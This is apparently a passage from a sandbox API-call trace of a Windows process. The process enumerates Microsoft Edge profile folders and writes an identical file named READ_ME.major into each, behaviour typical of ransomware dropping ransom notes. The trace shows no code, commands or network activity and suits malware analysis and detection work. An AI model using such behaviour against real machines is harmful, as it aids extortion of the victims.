0x2f8ad70 [0243.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0243.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0243.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0243.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e428 [0243.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0243.713] GetLastError () returned 0x12 [0243.713] SetLastError (dwErrCode=0x12) [0243.713] GetLastError () returned 0x12 [0243.713] SetLastError (dwErrCode=0x12) [0243.713] GetLastError () returned 0x12 [0243.713] SetLastError (dwErrCode=0x12) [0243.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0243.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb58 [0243.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0243.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6938 [0243.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34b20 [0243.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34b20 | out: hHeap=0x570000) returned 1 [0243.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40468 [0243.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0243.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6938 | out: hHeap=0x570000) returned 1 [0243.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0243.714] FindNextFileW (in: hFindFile=0x2f34ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1044f1e6, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x9d06badc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3bc1759d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0243.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e428 | out: hHeap=0x570000) returned 1 [0243.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0243.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0243.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0243.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6649e0 [0243.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0243.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0243.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6649e0 | out: hHeap=0x570000) returned 1 [0243.714] GetLastError () returned 0x12 [0243.714] SetLastError (dwErrCode=0x12) [0243.714] GetLastError () returned 0x12 [0243.714] SetLastError (dwErrCode=0x12) [0243.714] GetLastError () returned 0x12 [0243.714] SetLastError (dwErrCode=0x12) [0243.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0243.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be420 [0243.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be420 | out: hHeap=0x570000) returned 1 [0243.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6780 [0243.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34b20 [0243.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34b20 | out: hHeap=0x570000) returned 1 [0243.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0243.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0243.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6780 | out: hHeap=0x570000) returned 1 [0243.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0243.715] FindNextFileW (in: hFindFile=0x2f34ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1044f1e6, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x43eeca81, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x43eeca81, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Cache", cAlternateFileName="")) returned 1 [0243.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d9c0 | out: hHeap=0x570000) returned 1 [0243.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0243.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b568 [0243.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0243.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0243.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0243.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0243.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0243.715] GetLastError () returned 0x12 [0243.715] SetLastError (dwErrCode=0x12) [0243.715] GetLastError () returned 0x12 [0243.715] SetLastError (dwErrCode=0x12) [0243.715] GetLastError () returned 0x12 [0243.715] SetLastError (dwErrCode=0x12) [0243.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669aa8 [0243.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67f8 [0243.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668aa0 [0243.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0243.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0243.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6643a0 [0243.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b2c0 | out: hHeap=0x570000) returned 1 [0243.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0243.716] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6643a0 | out: hHeap=0x570000) returned 1 [0243.716] GetLastError () returned 0x12 [0243.716] SetLastError (dwErrCode=0x12) [0243.716] GetLastError () returned 0x12 [0243.716] SetLastError (dwErrCode=0x12) [0243.716] GetLastError () returned 0x12 [0243.716] SetLastError (dwErrCode=0x12) [0243.716] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6597c8 [0243.716] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a70 [0243.717] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6597c8 | out: hHeap=0x570000) returned 1 [0243.717] WriteFile (in: hFile=0x1a70, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0243.718] CloseHandle (hObject=0x1a70) returned 1 [0243.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d898 | out: hHeap=0x570000) returned 1 [0243.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0243.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0243.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668aa0 | out: hHeap=0x570000) returned 1 [0243.718] FindNextFileW (in: hFindFile=0x2f34ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1044f1e6, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xbe330de9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xbe330de9, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Cookies", cAlternateFileName="")) returned 1 [0243.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e1d8 | out: hHeap=0x570000) returned 1 [0243.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0243.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aa40 [0243.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0243.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665020 [0243.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0243.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e550 [0243.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665020 | out: hHeap=0x570000) returned 1 [0243.718] GetLastError () returned 0x0 [0243.718] SetLastError (dwErrCode=0x0) [0243.718] GetLastError () returned 0x0 [0243.718] SetLastError (dwErrCode=0x0) [0243.718] GetLastError () returned 0x0 [0243.718] SetLastError (dwErrCode=0x0) [0243.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661f90 [0243.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0243.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661a20 [0243.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0243.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0243.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6642d8 [0243.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0243.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e0b0 [0243.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6642d8 | out: hHeap=0x570000) returned 1 [0243.719] GetLastError () returned 0x0 [0243.719] SetLastError (dwErrCode=0x0) [0243.719] GetLastError () returned 0x0 [0243.719] SetLastError (dwErrCode=0x0) [0243.719] GetLastError () returned 0x0 [0243.719] SetLastError (dwErrCode=0x0) [0243.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6596d0 [0243.719] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a70 [0243.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6596d0 | out: hHeap=0x570000) returned 1 [0243.735] WriteFile (in: hFile=0x1a70, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0243.736] CloseHandle (hObject=0x1a70) returned 1 [0243.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e0b0 | out: hHeap=0x570000) returned 1 [0243.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0243.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0243.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661a20 | out: hHeap=0x570000) returned 1 [0243.736] FindNextFileW (in: hFindFile=0x2f34ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1047542f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1047542f, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12e45fcd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="History", cAlternateFileName="")) returned 1 [0243.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e550 | out: hHeap=0x570000) returned 1 [0243.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0243.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0243.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0243.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665728 [0243.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0243.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e0b0 [0243.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665728 | out: hHeap=0x570000) returned 1 [0243.736] GetLastError () returned 0x0 [0243.737] SetLastError (dwErrCode=0x0) [0243.737] GetLastError () returned 0x0 [0243.737] SetLastError (dwErrCode=0x0) [0243.737] GetLastError () returned 0x0 [0243.737] SetLastError (dwErrCode=0x0) [0243.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662c40 [0243.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6618 [0243.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662330 [0243.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0243.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0243.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0243.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aac8 | out: hHeap=0x570000) returned 1 [0243.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dc10 [0243.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0243.737] GetLastError () returned 0x0 [0243.737] SetLastError (dwErrCode=0x0) [0243.737] GetLastError () returned 0x0 [0243.737] SetLastError (dwErrCode=0x0) [0243.737] GetLastError () returned 0x0 [0243.737] SetLastError (dwErrCode=0x0) [0243.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6598c0 [0243.737] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\History\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\history\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a70 [0243.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6598c0 | out: hHeap=0x570000) returned 1 [0243.738] WriteFile (in: hFile=0x1a70, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0243.739] CloseHandle (hObject=0x1a70) returned 1 [0243.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dc10 | out: hHeap=0x570000) returned 1 [0243.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0243.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0243.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x662330 | out: hHeap=0x570000) returned 1 [0243.739] FindNextFileW (in: hFindFile=0x2f34ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1049b68e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1049b68e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x1049b68e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="IECompatCache", cAlternateFileName="IECOMP~1")) returned 1 [0243.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e0b0 | out: hHeap=0x570000) returned 1 [0243.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0243.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0243.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0243.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6650e8 [0243.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0243.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0243.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6650e8 | out: hHeap=0x570000) returned 1 [0243.740] GetLastError () returned 0x0 [0243.740] SetLastError (dwErrCode=0x0) [0243.740] GetLastError () returned 0x0 [0243.740] SetLastError (dwErrCode=0x0) [0243.740] GetLastError () returned 0x0 [0243.740] SetLastError (dwErrCode=0x0) [0243.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee69b0 [0243.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65c8 [0243.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee69b0 | out: hHeap=0x570000) returned 1 [0243.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65c8 | out: hHeap=0x570000) returned 1 [0243.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6625e8 [0243.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65c8 [0243.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661dc0 [0243.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0243.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0243.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665278 [0243.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0243.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60de60 [0243.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665278 | out: hHeap=0x570000) returned 1 [0243.740] GetLastError () returned 0x0 [0243.740] SetLastError (dwErrCode=0x0) [0243.740] GetLastError () returned 0x0 [0243.740] SetLastError (dwErrCode=0x0) [0243.740] GetLastError () returned 0x0 [0243.740] SetLastError (dwErrCode=0x0) [0243.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660648 [0243.740] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\iecompatcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a70 [0243.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660648 | out: hHeap=0x570000) returned 1 [0243.742] WriteFile (in: hFile=0x1a70, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0243.742] CloseHandle (hObject=0x1a70) returned 1 [0243.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60de60 | out: hHeap=0x570000) returned 1 [0243.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0243.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0243.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661dc0 | out: hHeap=0x570000) returned 1 [0243.743] FindNextFileW (in: hFindFile=0x2f34ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1049b68e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1049b68e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x1049b68e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="IECompatUaCache", cAlternateFileName="IECOMP~2")) returned 1 [0243.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60df88 | out: hHeap=0x570000) returned 1 [0243.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0243.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b4e0 [0243.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0243.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0243.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b4e0 | out: hHeap=0x570000) returned 1 [0243.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0243.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0243.743] GetLastError () returned 0x0 [0243.743] SetLastError (dwErrCode=0x0) [0243.743] GetLastError () returned 0x0 [0243.743] SetLastError (dwErrCode=0x0) [0243.743] GetLastError () returned 0x0 [0243.743] SetLastError (dwErrCode=0x0) [0243.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6780 [0243.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6988 [0243.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6780 | out: hHeap=0x570000) returned 1 [0243.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6988 | out: hHeap=0x570000) returned 1 [0243.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ba8 [0243.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee66b8 [0243.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6591f8 [0243.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0243.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0243.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6646c0 [0243.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0243.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0243.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6646c0 | out: hHeap=0x570000) returned 1 [0243.744] GetLastError () returned 0x0 [0243.744] SetLastError (dwErrCode=0x0) [0243.744] GetLastError () returned 0x0 [0243.744] SetLastError (dwErrCode=0x0) [0243.744] GetLastError () returned 0x0 [0243.744] SetLastError (dwErrCode=0x0) [0243.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660120 [0243.744] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatUaCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\iecompatuacache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a70 [0243.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660120 | out: hHeap=0x570000) returned 1 [0243.745] WriteFile (in: hFile=0x1a70, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0243.746] CloseHandle (hObject=0x1a70) returned 1 [0243.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d9c0 | out: hHeap=0x570000) returned 1 [0243.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0243.746] 